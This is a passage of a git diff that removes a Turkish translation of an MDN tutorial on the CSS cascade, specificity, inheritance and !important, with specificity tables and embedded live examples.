href="/tr/docs/Learn/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü inceleyin.) ve CSS'in nasıl çalıştığı hakkında bilgi(<a href="/tr/docs/Learn/CSS/First_steps">CSS ilk adım</a>)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td><a title="Cascade: Adım adım kontrol">ardarda denetim</a> ve <a title="Özel etken oranı: Kuralı uygulanacak en baskın seçici">özgüllük</a> hakkında bilgi edinmek ve CSS'de kalıtımın nasıl çalıştığını öğrenmek.</td> - </tr> - </tbody> -</table> - -<h2 id="Çakışan_kurallar">Çakışan kurallar</h2> - -<p>CSS, <strong>Basamaklı Stil Sayfaları</strong> anlamına gelir ve <em>basamaklandırmanın(<a title="Cascade: Basamaklama - adım adım kontrol">art arda denetimin</a>)</em> anlaşılması inanılmaz derecede önemlidir. Art arda denetimin davranış şekli, CSS'i anlamanın anahtarıdır.</p> - -<p>Bir gün, bir proje üzerinde çalışıyor olacaksın ve bir öğeye uygulanması gerektiğini düşündüğün CSS'in çalışmadığını göreceksin. Genellikle sorun, potansiyel olarak aynı öğeye uygulanabilecek iki kural oluşturmuş olmandır. <strong><a title="Cascade: Basamaklama - adım adım kontrol">Art arda Denetim</a></strong> ve <strong><a title="Özel etken oranı: Kuralı uygulanacak en baskın seçici">özgüllük</a></strong> denetim mekanizmaları bu tür bir etkileşim olduğu zaman bir kuralın geçerli olmasını sağlar. Öğenin stilini belirleyen kuralın sonucu beklediğin olmayabilir, bu nedenle bu mekanizmaların nasıl çalıştığını anlaman gerekir.</p> - -<p>Burada ayrıca önemli olan <strong>kalıtım</strong> kavramıdır; bu, varsayılan olarak bazı CSS özelliklerinin mevcut öğenin ebeveynlerinin sahip olduğu değerlerin bazılarını devraldığı anlamına gelir. Bu, beklemediğin bazı davranışlara neden olabilir.</p> - -<p>Anlattığım temel konulara hızlıca bir göz atarak başlayalım, ardından sırayla her birine bakıp birbirleriyle ve CSS'le nasıl etkileşim kurduklarını görelim. Bu, anlaşılması zor bir ders gibi gelebilir.</p> - -<h3 id="Art_arda_denetim"><a title="Cascade: Basamaklama - adım adım kontrol">Art arda denetim</a></h3> - -<p>Stil sayfaları <strong>basamaklıdır</strong> — çok basit bir şekilde bu, CSS kurallarının sırasının önemli olduğu anlamına gelir; eşit <a title="Özel etken oranı: Kuralı uygulanacak en baskın seçici">özgüllüğe</a> sahip olan iki kural uygulandığında, CSS en son gelen kural kullanılacaktır.</p> - -<p>Aşağıdaki örnekte, <code>h1</code> seçicisini kullandığım iki adet kuralım var. CSS'de yazılan bu kurallar aynı seçici olması ve aynı özgülleğe sahip olduklarından mavi(<code>blue</code>) olan kırmızı(<code>red</code>)'dan sonra geldiği için bu yarışı kazanır.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/cascade/cascade-simple.html", '100%', 400)}} </p> - -<p>Şöyle özetlemek gerekirse: CSS stil sayfasını ilk yorumlamaya başladığında stil sayfamızı adım adım okumaya başlar. İlk önce 1. satırda belirtilen <code>h1</code> etiketimizi seçip <code>color</code> niteliğini 2. satırda belirtiğimiz kırmızı(<code>red</code>) olarak tanımlar ve dosyamızı okumaya devam eder. 3. satırdaki } süstlü parantezle birlikte <code>h1</code> öğemizle ilgili tamınlamayı bitir. Tekrardan 4. satırdaki <code>h1</code> öğesinin <code>color</code> niteliğini 5. satırdaki mavi(<code>blue</code>) olarak tanımlar. CSS stil sayfamızın sonuna geldiğinde etiketteki nitelik değerlerini HTML sayfamızdaki öpelere uygulamaya başlar. <code>h1</code> öğesinin <code>color</code> değişkeninde en son atanan değer mavi(<code>blue</code>) olduğu için HTML sayfamızdaki <code>h1</code> öğemizin renk değeri mavi olur.</p> - -<p>Bir sonraki kısımda CSS'in öğelerimizin nitelik değerlerine atama yaparken göz önünde bulunan diğer bir kritere değineceğiz.</p> - -<h3 id="Özgüllük"><a title="Özel etken oranı: Kuralı uygulanacak en baskın seçici">Özgüllük</a></h3> - -<p>Özgüllük; Birden çok kuralın farklı seçicileri varsa, yinede aynı öğeye işaret ediyorsa tarayıcının hangi kuralın uygulanacağına karar vermesidir. Temelde, bir seçicinin seçiminin ne kadar özgül olacağının bir ölçüsüdür:</p> - -<ul> - <li>öğe seçici daha az belirsizdir — HTML sayfasında bulunan kendi türündeki tüm öğeleri seçer — bu yüzden daha düşük puan alır.</li> - <li>Sınıf seçici daha belirgindir — sadece HTML sayfasındaki <code>class</code> nitelik değerine sahip öğeleri seçer — bu yüzden daha yüksek puan alır.</li> -</ul> - -<p>Örnek zamanı! Aşağıda <code>.main-heading</code> sınıfına dahil <code><h1></code> etiketi seçicimiz var. CSS sayfamızdaki kurallar uygulanırken sınıf seçicinin özgüllüğü daha yüksek olduğu için öğe seçicimiz sınıf seçicimizden daha sonra gelmiş olmasına rağmen HMTL öğemize uygulanmaz. Bu sefer yarışı sınıf seçicimiz kazanır ve içeriğimiz kırmızı görünür.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/cascade/specificity-simple.html", '100%', 500)}} </p> - -<p>Bunuda şöyle özetlemek gerekirse: CSS stil sayfamızı yorumlamaya başladığında sayfamızı adım adım okumaya başlar. İlk önce <code>.main-heading</code> sınıfımızın color niteliğini kırmızı olarak tanımlar. Sonraki adımlarda <code>h1</code> öğemizin <code>color</code> nitelik değerini de mavi olarak tanımlar. Sayfamızın sonuna geldiğinde toplamış olduğu verileri HTML sayfamızdaki öğelere uygularken öğelerimizin tanımlarına bakarak ilerler. Sayfadaki tüm <code>h1</code> öğeleri renk tanımlarını blue olarak tanımlayacaktır fakat bizim HTML sayfamızda sadece tek bir <code>h1</code> öğesi olduğundan ve oda bir sınıfa dahil olduğu için, dahil olduğa sınıfa ait bir CSS kuralı olup olmadığına bakar. Eğer sınıfa ait bir kural varsa bu kuralı uygular yoksa öğe etiketi için tanımlamış olduğu kuralı uygular. CSS sayfamızda öğe seçici kuralı, sınıf seçici kuralından sonra gelmiş olsa bile özgüllük sınavını geçemez.</p> - -<p>Özgüllük puanlamasını ve diğer benzer nitelikleri daha sonra açıklayacağız.</p> - -<h3 id="Miras">Miras</h3> - -<p>Üst öğelere uygulanan CSS stillerin bir kısmı alt öğeler tarafından <strong>miras</strong> olarak alınır.</p> - -<p>Örneğin, <code>color</code> ve <code>font-family</code> niteliklerini bir öğeye ayarlarsan ve öğenin alt öğeleri doğrudan farklı bir renk ve yazı tipi değeri tanımlamazsan, nitelik verilen öğenin içinde bulunan tüm öğelerin renk ve yazı tipi üst öğenin tanımlandığı şekilde şekillendirilecektir.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/cascade/inheritance-simple.html", '100%', 550)}} </p> - -<p>Bazı özellikler miras olarak alınmaz — Örneğin; {{cssxref("width")}} niteliğini %50 olarak ayarlarsan, tüm alt öğelerin genişlikleri üst öğelerin genişliğinin %50'si olacak şekilde tanımlanmaz. Durum bu şekilde olsaydı CSS'in kullanılması sinir bozucu olurdu!</p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: MDN CSS nitelikleri referans sayfalarında, nitelikler bölümünün altında, niteliğin miras alıp almadığıda dahil olmak üzere bir dizi veri noktasının listelendiği teknik bilgi tablosunu bulabilirsin. <a href="/tr/docs/Web/CSS/color#Specifications">Renk özelliği ayrıntıları</a>, bölümüne bakın.</p> -</div> - -<h2 id="Kavramların_birlikte_nasıl_çalıştığını_anlamak">Kavramların birlikte nasıl çalıştığını anlamak</h2> - -<p>Bu üç kavram (art arda denetim, özgüllük ve miras) birlikte hangi CSS'in hangi öğelere uygulanacağını kontrol eder; aşağıdaki bölümlerde birlikte nasıl çalıştıklarını göreceğiz. Biraz karmaşık görünebilir, Ancak CSS ile daha deneyimli hale geldikçe bunları hatırlamaya başlayacaksın ve unutursan her zaman buradaki ayrıntılara bakabilirsin! Deneyimli geliştiriciler bile tüm tedayları hatırlamıyor.</p> - -<p>Aşağıdaki video, bir sayfanın art arda kontrol, özgüllüğü ve daha fazlasını incelemek için Firefox Geliştirici Araçlarını nasıl kullanabileceğini gösterir:</p> - -<p>{{EmbedYouTube("Sp9ZfSvpf7A")}}</p> - -<h2 id="Mirası_anlamak">Mirası anlamak</h2> - -<p>Mirasla başlayacağız. Aşağıdaki örnekte , İki seviyeli sırasız listemiz bulunmakta {{HTMLElement("ul")}}. Dış taraftaki <code>ul</code> öğemize bir sınır, dolgu ve yazı tipi rengi verdik.</p> - -<p>Renk doğrudan çocuklara da uygulandı, aynı zamanda dolaylı çocuklara(torunlara) da uygulandı <code><li></code>. Daha sonra ikinci listemizi <code>special</code> sınıfını ekledik ve ona farklı bir renk uyguladık. Bu sınıftaki değerlerde ikicinci listemizin çocukları tarafından miras alındı.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/cascade/inheritance.html", '100%', 700)}} </p> - -<p>Genişlikler(yukarıda belirtildiği gibi), kenar boşlukları, dolgu ve sınırlar miras olarak alınmaz. Bir sınır, listemizin çocukları tarafından miras alınacak olsaydı, her liste öğesi bir sınır kazanırdı — muhtemelen istediğimiz bir etki değil!</p> - -<p>Hangi özellikler varsayılan olarak miras alınıp alınmadı büyük ölçüde sağduyuya bağlıdır.</p> - -<h3 id="Mirası_kontrol_etmek">Mirası kontrol etmek</h3> - -<p>CSS, mirası kontrol etmek için dört özel evrensel nitelik değeri sağlar. Her CSS niteliği bu değerleri kabul eder.</p> - -<dl> - <dt>{{cssxref("inherit")}}</dt> - <dd>Seçilen öğe niteliğinin miras alıp alamadığına bakılmaksızın, ebeveyninden miras alması sağlanır.</dd> - <dt>{{cssxref("initial")}}</dt> - <dd>Niteliğe tanımlanmış tüm kurallar yok sayılır ve tüm miraslar engellenilerek <a href="/tr/docs/Web/CSS/initial_value">başlangıç değerine</a> ayarlanır(sıfırlarnır. Varsayılan değerler de kullanılmaz).</dd> - <dt>{{cssxref("unset")}}</dt> - <dd>Seçilen öğe niteliği doğal olarak miras alabiliyorsa değeri miras olarak almasını, doğal olarak miras alamıyorsa değerinin sıfırlanmasını sağlar. Miras alabilen nitelikler için {{cssxref("inherit")}} gibi, alamayan nitelikler için {{cssxref("initial")}} gibi davranır.</dd> - <dt>{{cssxref("revert")}}</dt> - <dd>Seçilen öğe niteliği doğal olarak miras alabiliyorsa değeri miras olarak almasını, doğal olarak miras alamıyorsa değerin tarayıcının veya kullanıcının varsayılan stil sayfasında belirtilmiş varsayılan değerin tanımlanmasını sağlar.</dd> -</dl> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Bunların nasıl çalıştıkları hakkında daha fazla bilgi için {{SectionOnPage("/tr/docs/Web/CSS/Cascade", "CSS Kökeni bildirisi")}}'ne bak.</p> -</div> - -<p>Bir bağlantı listesine bakabilir ve evrensel değerlerin nasıl çalıştığını keşfedebilirsin. Aşağıdaki etkileşimli örnek, CSS ile oynamana ve değişiklik yaptığında ne olacağını görmene onlanak tanır. Kodla oynamak HTML ve CSS ile başa çıkmanın en iyi yoludur.</p> - -<p>Örnek:</p> - -<ol> - <li>İkinci liste öğesine <code>my-class-1</code> sınıfı uygulanmıştır. Bu sınıf <code><a></code> öğesinin rengini miras alacak şekilde ayarlar. Kuralı kaldırdığında bağlantı rengi nasıl gözükür?</li> - <li>Üçüncü ve dördüncü halkaların neden oldukları renk değişimlerini anlıyor musun? Eğer anlamadıysan yukarıdaki açıklamayı yeniden gözden geçir.</li> - <li><code><a></code> öğesinin yeni bir renk tanımlarsan hangi öğelerin rengi değişir. Örnek <code>a { color: red; }</code>?</li> -</ol> - -<p>{{EmbedGHLiveSample("css-examples/learn/cascade/keywords.html", '100%', 700)}} </p> - -<h3 id="Tüm_öğelerin_değerlerini_sıfırlama">Tüm öğelerin değerlerini sıfırlama</h3> - -<p>CSS'in <code>all</code> niteliği, öğelerin mirası kontrol eden değerlerini öğenin tüm niteliklerine uygulamak için kullanılır. Bu miras kontrol değerlerinin herhangi biri için kullanılabilir(<code>inherit</code>, <code>initial</code>, <code>unset</code> veya <code>revert</code>). Yeni tanımlara başlamadan önce bilinen bir başlangıç noktasına geri dönebilmen için stillerde yapılan değişiklikleri geri almanın uygun bir yoludur.</p> - -<p>Aşağıdaki örnekte iki adet alıntı bloğu var(<code>blockquote</code>). CSS sayfamızda alıntı bloğuna uygulanan bir stilimiz var ve sınıf tanımımızda da öğelerin tüm niteliklerindeki miras kontrol değerini tek seferde <code>unset</code> değerini atayan bir bildirimimiz var: <code>all</code>: <code>unset</code>.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/cascade/all.html", '100%', 700)}} </p> - -<p> <code>all</code> niteliğine mevcut diğer değerleri atayıp farkın neler olduğunu gözlemle.</p> - -<h2 id="Ardarda_kontrolü_anlamak">Ardarda kontrolü anlamak</h2> - -<p>HTML yapısının derinliklerine yerleştirilmiş bir paragrafın, gövdeye uygulanan bir CSS ile neden aynı renk olduğunu şimdi anlıyoruz. Ayrıca belgenin herhangi bir noktasında bir öğeye uygulanan CSS'i nasıl değiştirebileceğimizi de biliyoruz. Şimdi, birden fazla seçicinin bir öğeye stil uyguladığında, art arda kontrolün hangi CSS kuralının geçerli olduğunu nasıl tanımladığına düzgün bir şekilde bakacağız.</p> - -<p>Burada önem sırasına göre sıralanan, dikkate alınması gereken üç etken vardır. Sonraki bir öncekini geçersiz kılar:</p> - -<ol> - <li><strong>Kaynak sırası</strong></li> - <li><strong>Özgüllük</strong></li> - <li><strong>Önem</strong></li> -</ol> - -<p>Tarayıcıların tam olarak hangi CSS'in uygulanması gerektiğini nasıl anladığını görmek için bunları irdeliyeceğiz.</p> - -<h3 id="Art_arda_denetim_2">Art arda denetim</h3> - -<p>Art arda denetim için kaynak sırasının ne kadar önemli olduğunu zaten görmüştük. Tam olarak aynı ağırlığa sahip birden fazla kuralın varsa, en son gelen kural dikkate alınır. Bunu öğeleri biçimlendirilme aşaması anına, en yakın olan kuralın kazandığı bir eleme olarak düşünebilirsin. Kaynak sırasındaki seçicilerin hedef kitlesi geneldir, HTML sayfasında seçicinin belirttiği bütün öğeleri seçer.</p> - -<h3 id="Özgüllük_2"><a title="Özel etken oranı: Kuralı uygulanacak en baskın seçiciyi belirleme">Özgüllük</a></h3> - -<p>Kaynak sırasının önemli olduğu gerçeğini anladık; fakat bir öğenin stili için yapmış olduğun kuralın, stil sayfandaki kaynak sırasında sonda olmasına rağmen ondan bir veya daha önceki kuraldan etkilendiğini göreceksin. Bunun nedeni, önceki kuralın <strong>daha yüksek özgüllüğe</strong> sahip olmasıdır — hangi kuralın özgüllüğü daha yüksek ise, tarayayıcı öğeleri şekillendirecek kural olarak onu seçer. Çünkü özgüllüğü yüksek olan seçiciler(<code>class</code>, <code>id</code> vb.) HTML sayfasında bulunan bütün elamanları değilde tanımlandıkları öğenin/öğelerin üzerinde etkili olduklarından hedefleri daha belirgindir. Ayrıca eşit özgüllüğe sahip seçiciler kendi aralarında kaynak sırasına tabidir.</p> - -<p>Bu derste daha önce gördüğümüz gibi, sınıf seçicinin ağırlığı öğe seçiciden daha fazladır, bu nedenle sınıfta tanımlanan özellikler öğeye doğrudan uygulanan şekillleri geçersiz kılar.</p> - -<p>Burada dikkat edilmesi gereken şey, öğeye uygulanan kurallardaki tüm nitelikleri değilde sadece aynı nitelik üzerinde tanımlanmış kuralları etkilemesidir. Örneğin ilk kuralda renk ve font tanımı olsun, özgüllüğü yüksek veya sonra gelen kuralda sadece renk tanımı varsa bir önceki veya düşük özgülleğe sahip kuraldaki font tanımını etkilemez.</p> - -<p>Bu davranış, CSS'de tekrarı önlemeye yardımcı olur. Yaygın bir uygulama, temel öğeler için genel stilleri tanımlamak ve ardından farklı olanlar için sınıflar oluşturmaktır. Örneğin; aşağıdaki stil sayfasında 2. seviye başlıklar için genel stilleri tanımladık ve sonra sadece bazı özellikleri ve değerleri değiştiren bazı sınıflar oluşturduk. Başlangıçta tanımlanan değerler tüm başlıklara uygulanır, daha sonra sınıflarla birlikte başlıklara daha karakteristik değerler uygulanır.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/cascade/mixing-rules.html", '100%', 700)}} </p> - -<p>Şimdi tarayıcının özgüllüğü nasıl hesaplayacağına bir göz atalım. Bir öğe seçicinin düşük özgüllüğe sahip olduğunu ve bir sınıf tarafından üzerine yazılabileceğini zaten biliyoruz. Esasen bu seçicilere verilen puan cinsinden bir değerdir, farklı türdeki seçicilere ait puanlarını toplamak bize söz konusu seçicinin özgüllük değerini verir ve bu da diğer kuralların sahip oldukları puan ile karşılaştırılır.</p> - -<p>Bir seçicinin sahip olduğu özgüllük miktarı dört farklı değer (veya bileşen) kullanılarak ölçülür, bunlar binler basamağı, yüzler basamağı, onlar basamağı ve birler basamağı olarak düşünülebilir.</p> - -<ol> - <li><strong>Binler basamağı</strong>: Bir bildirim HTML içerisinde tanımlarken {{htmlattrxref("style")}} niteliğiyle şekillendiriliyorsa bu sütuna bir puan eklenir. Bu tür bildirimlerin seçicileri yoktur, bu nedenle özgüllükleri her zaman 1000'dir.</li> - <li><strong>Yüzler basamağı</strong>: Öğeye tanımlanmış bir kimlik için seçici <code>(id</code>) varsa, bu sütuna bir puan eklenir.</li> - <li><strong>Onlar Basamağı</strong>: Her bir sınıf(<code>class</code>), öznitelik veya genel seçicide bulunan sözde sınıf için bu sütuna bir puan eklenir.</li> - <li><strong>Birler</strong>: Genel seçici içinde bulunan her bir öğe veya sözde öğe için bu sütunda bir puan eklenir.</li> -</ol> - -<div class="note"> -<p><strong>Not</strong>: Evrensel seçici (<code>*</code>), birleştirici seçiciler (<code>+</code>, <code>></code>, <code>~</code>, ' '), ve olumsuzluk ifadesi sözde sınıfının (<code>:not</code>) özgüllük üzerinde herhangi bir etkisi yoktur.</p> -</div> - -<p>Aşağıdaki tablo, birkaç seçilmiş örneği göstermektedir. Bunları gözden geçirmeye ve onlara verdiğimiz özgüllüğü anlamaya çalış. Seçicileri henüz ayrıntılı olarak ele almadık, istersen her bir seçicinin ayrıntılarını MDN <a href="/tr/docs/Web/CSS/CSS_Selectors">seçiciler kaynağına </a>bakabilirsin.</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Seçici</th> - <th scope="col">Binler</th> - <th scope="col">Yüzler</th> - <th scope="col">Onlar</th> - <th scope="col">Birler</th> - <th scope="col">Toplam özgüllük</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>h1</code></td> - <td>0</td> - <td>0</td> - <td>0</td> - <td>1</td> - <td>0001</td> - </tr> - <tr> - <td><code>h1 + p::first-letter</code></td> - <td>0</td> - <td>0</td> - <td>0</td> - <td>3</td> - <td>0003</td> - </tr> - <tr> - <td><code>li > a[href*="tr"] > .inline-warning</code></td> - <td>0</td> - <td>0</td> - <td>2</td> - <td>2</td> - <td>0022</td> - </tr> - <tr> - <td><code>#identifier</code></td> - <td>0</td> - <td>1</td> - <td>0</td> - <td>0</td> - <td>0100</td> - </tr> - <tr> - <td>{{htmlattrxref("style")}} niteliği. İçinde seçici yok.</td> - <td>1</td> - <td>0</td> - <td>0</td> - <td>0</td> - <td>1000</td> - </tr> - </tbody> -</table> - -<p>Devam etmenden önce bir örneğe bakalım.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/cascade/specificity-boxes.html", '100%', 700)}} </p> - -<p>Peki burada neler oluyor? İlk önce, bu örneğin ilk yedi kuralıyla ilgileniyoruz ve fark edeceğin gibi, bunların özgüllük değerlerini her birinden önce yoruma ekledim.</p> - -<ul> - <li>İlk iki seçici, bağlantının arka plan renginin stili üzerinde rakabet ediyor — ikincisi kazanır ve arka plan rengi mavi yapar çünkü zincirde fazladan bir kimlik <code>id</code> seçicisi vardır: özgüllüğü 201'e karşı 101'dir.</li> - <li>Üçüncü ve dördüncü seçiciler, bağlantının metin rengi üzerinde rekabet ediyor — ikincisi kazanır ve metni beyaz yapar çünkü bir tane daha az öğe seçiciye sahip olmasına rağmen, eksik olanın yerine bir tane sınıf seçiciye sahip. Yani kazanan özgüllük 113'e 104'tür.</li> - <li>Seçiciler 5-7, üzerine gelindiğinde bağlantının kenarlığının üzerinde rekabet ediyor. Seçici altı, 23'e 24'le beşe kaybeder — zincirde bir adet daha az seçiciye sahiptir. Bununla birlikte, seçici yedi, hem beşi hemde altıyı yener — zincirde beşle aynı sayıda alt seçiciye sahip olmasına rağmen bir öğe seçicinin yerinde bir sınıf seçici vardır. Yani kazanan 23 ve 24'de karşı 33'tür.</li> -</ul> - -<ol> -</ol> - -<div class="note"> -<p><strong>Not</strong>: Bu, anlaşılma kolaylığı açısından yalnızca bir örnektir. Gerçekte, her seçici türünün, daha düşük özgüllük dizeyine sahip seçiciler tarafından üzerine yazılamayan kendi özgüllük düzeyi vardır. Örneğin, bir <em>milyon</em> <strong>sınıf(<code>class</code>) </strong>seçici, bir <strong>kimlik(<code>id</code>) </strong>seçicinin üzerine yazamaz.</p> - -<p>Özgüllüğü değerlendirmenin daha doğru bir yolu, özgüllük seviyelerini ayr ayrı en yüksekten başlayarak en düşüğe doğru puanlamak olacaktır. Yanlızca belirli bir düzeydeki seçici puanları arasında bir bağ olduğunda, bir sonraki düzeyi aşağı doğru değerlendirmen gerekir; aksi takdirde, daha yüksek özgüllük seviyelerinin üzerine asla yazmacakları için daha düşük özgüllük seviyesi seçicleri göz ardı edebilirsin.</p> -</div> - -<h3 id="!important_!önemli">!important (!önemli)</h3> - -<p>Yukarıdaki hesaplamaların tümünü geçersiz kılmak için kullanabileceğin özel bir CSS <em>bildirimi</em> var, ancak onu kullanırken çok dikkatli olmalısın — <code>!important</code>. Bu, belli bir özelliği-şekli belirli bir öğeye veya öğelere uygulamak istediğimiz tanımları uygulanabilmesi için, kademenin diğer tüm kurallarını geçersiz kılar.</p> - -<p>Bir tanesinin bir kimliğe sahip iki tane paragrafımızın olduğu bu örneğe bir göz atın.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/cascade/important.html", '100%', 700)}} </p> - -<p>Neler olduğunu görmek için bunu gözden geçirelim — anlamakta zorlanıyorsan ne olacağını görmek için bazı özellikleri kaldırmayı deneyin:</p> - -<ol> - <li>Üçüncü kuralın {{cssxref("color")}} ve {{cssxref("padding")}} değerlerinin uygulandığını, fakat {{cssxref("background-color")}} değerinin uygulanmadığını göreceksin. Neden? Gerçekten üçü de kesinlikle uygulanmalıdır, çünkü kaynak sıradaki kurallar genellikle daha önceki kuralları geçersiz kılar.</li> - <li>Bununla birlikte, yukarıdaki kurallar kazanır, çünkü sınıf seçiciler öğe seçilerden daha yüksek özgüllüğe sahiptir.</li> - <li>Her iki elamanda <code>better</code> sınıfına ({{htmlattrxref("class")}}) atanmış, ama bir tanesi <code>winning</code> kimliğine({{htmlattrxref("id")}}) atanmış. Kimliklerin sınıflardan <em>daha yüksek bir özgüllüğü</em> olduğundan (bir sayfadaki her benzersiz kimliğe sahip yalnızca bir öğe olabilir, ancak aynı sınıfa sahip birçok öğe bulunabilir — kimlik seçicileri hedefledikleri öğe açısından daha belirgindir), 1 piksel kalınlığındaki siyah kenarlık 2. nesneye uygulanmalı, ilk öğe gri arka plan rengini almalı ve sınıf tarafından belirtildiği gibi kenarlık olmamalıdır.</li> - <li>2. elamanın arka planı kırmızı (<code>red)</code> ancak hiçbir sınırı yok. Neden? Çünkü ikinci kuraldaki bildirim nedeniyle: <code>!important</code> — Kimlik(<code>ID</code>) daha yüksek bir özgüllüğe sahip olsa bile, <code>border: none</code> nitelik tanımlaması <code>!important</code> bildirimine sahip olduğu için tüm kuralları aşarak kazanmış olur.</li> -</ol> - -<div class="note"> -<p><strong>Not</strong>: <code>!important</code> bildirimini geçersiz kılmanın tek yolu, daha sonra kaynak sırasına veya aynı özgüllüğe sahip daha sonraki kaynak sırasına veya daha yüksek özgüllüğe sahip bir <code>!important</code> bildiriminde bulunmak.</p> -</div> - -<p><code>!important</code> bildiriminin var olduğunu bilmek, başka kişilerin kodlarında onunla karşılaştığında ne olduğunu bilmen için yararlıdır. <strong>Ancak, kesinlikle mecbur kalmadıkça asla kullanmamanı şiddetle taviye ederim</strong>. <code>!important</code> Kaynak sırasının normal çalışma şeklini değiştirir. Bu nedenle büyük bir stil sayfasında CSS sorunlarının hata ayıklamasını gerçekten zorlaştırır.</p> - -<p>Kullanmanı gerektirebilecek bir duruma örnek vermek gerekirse, çekirdek CSS modüllerini düzenleyemediğin bir CMS üzerinde çalışırken ve başka bir şekilde geçersiz kılınamayan bir stili gerçekten geçersiz kılmak istediğinde faydalı olabilir. Ama farklı bir şekilde yapabiliyorsan kullanma.</p> - -<h2 id="CSS_konumunun_etkisi">CSS konumunun etkisi</h2> - -<p>Son olarak, bir CSS bildiriminin öneminin, hangi stil sayfasında belirtildiğine bağlı olduğunu da bilmende fayda var — kullanıcılar, geliştiricinin stillerini geçersiz kılmak için özel stil sayfaları ayarlayabilir, örneğin, kullanıcı görme engelli olabilir ve daha kolay okuma sağlamak için ziyaret ettiği tüm web sayfalarında yazı tipi boyutunu normal boyutun iki katı olacak şekilde ayarlayabilir..</p> - -<h2 id="Özet">Özet</h2> - -<p>İhtilaflı beyanlar aşağıdaki sırayla uygulanacak, daha sonraki beyanlar öncekileri geçersiz kılacaktır:</p> - -<ol> - <li>Kullanıcı aracındaki stil sayfaları (ör. Tarayıcının varsayılan stilleri, başka bir stil ayarlanmadığında kullanılır).</li> - <li>Kullanıcı stil sayfalarındaki normal bildirimler (bir kullanıcı tarafından belirlenen şekillendirmeler).</li> - <li>Yazar şekillendirme sayfasındaki normal bildirimler (bunlar, web geliştiricileri olarak bizim tarafımızdan belirlenen şekillendirmelerdir).</li> - <li>Yazar stil sayfalarındaki önemli bildirimler.</li> - <li>Kullanıcı stil sayfalarındaki önemli bildirimler.</li> -</ol> - -<p>Web geliştiriclerinin şekillendirme sayfalarının kullanıcı şekillendirme sayfalarını geçersiz kılması mantıklıdır, böylece tasarım amaçlandığı gibi korunabilir, ancak bazen kullanıcıların yukarıdaki belirtildiği gibi web geliştirici stillerini geçersiz kılmak için iyi nedenleri olabilir. Bunu da <code>!important</code> bildirimini kullanarak sağlayabilirler.</p> - -<h2 id="Becerilerini_test_et!">Becerilerini test et!</h2> - -<p>Bu makalede bir çok konuyu ele aldık, ancak en önemli bilgileri hatırlıyor musun? Devam etmeden önce bu bilgileri kavradığını doğrulamak için senin için bazı testler hazırladım. — bk. <a href="/tr/docs/Learn/CSS/Building_blocks/Cascade_tasks">Becerilerini test edin: Kaynak sırası.</a></p> - -<h2 id="Sıradaki_ne">Sıradaki ne</h2> - -<p>Bu makalenin çoğunu anladıysan, tebrik ederim — CSS'in temel makaniğine aşina olmaya başladın. Sırada, seninle seçicilere ayrıntılı olarak bakacağız.</p> - -<p>Kaynak sırasını, özgüllüğü ve mirası tam olarak anlamadıysan endişelenme! Bunlar, şu ana kadar derste ele aldığımız en karmaşık ve bazen profesyonel web geliştiricilerinin bile zorlandığı konulardır. Kursa devam ederken bu makaleye birkaç kez dönmeni ve bu konular üzerinde biraz daha kafa yormanı tavsiye ederim.</p> - -<p>Beklendiği gibi uygulanmayan şekillendirmelerle ilgili garip sorunlarla karşılaşmaya başlarsan buraya tekrar bak. Özgüllük sorunu olabilir.</p> - -<p>{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}</p> - -<h2 id="Bu_kısımda">Bu kısımda</h2> - -<ol> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Kaynak sırası ve miras</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors">CSS seçicileri</a> - <ul> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Tür, sınıf ve kimlik seçicileri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Nitelik seçiciler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Sözde sınıflar ve sözde öğeler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Birleştiriciler</a></li> - </ul> - </li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/The_box_model">Kutu modeli</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arka planlar ve kenarlıklar</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Farklı metin yönleri kullanma</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Overflowing_content">Taşan içerik</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Values_and_units">Değerler ve birimler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS'de öğelerin boyutları</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Görseller, medya ve form öğeleri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Styling_tables">Tabloları şekillendirme</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS'de hata ayıklama</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Organizing">CSS'ini düzenleme</a></li> -</ol> diff --git a/files/tr/learn/css/building_blocks/debugging_css/index.html b/files/tr/learn/css/building_blocks/debugging_css/index.html deleted file mode 100644 index 37af423069..0000000000 --- a/files/tr/learn/css/building_blocks/debugging_css/index.html +++ /dev/null @@ -1,213 +0,0 @@ ---- -title: CSS'de hata ayıklamak -slug: Learn/CSS/Building_blocks/Debugging_CSS -tags: - - Acemi - - Beginner - - CSS - - DOM - - Debugging - - DevTools - - Eğitim - - Hata Ayıklama - - Kaynak kod - - Learn - - source -translation_of: Learn/CSS/Building_blocks/Debugging_CSS -original_slug: 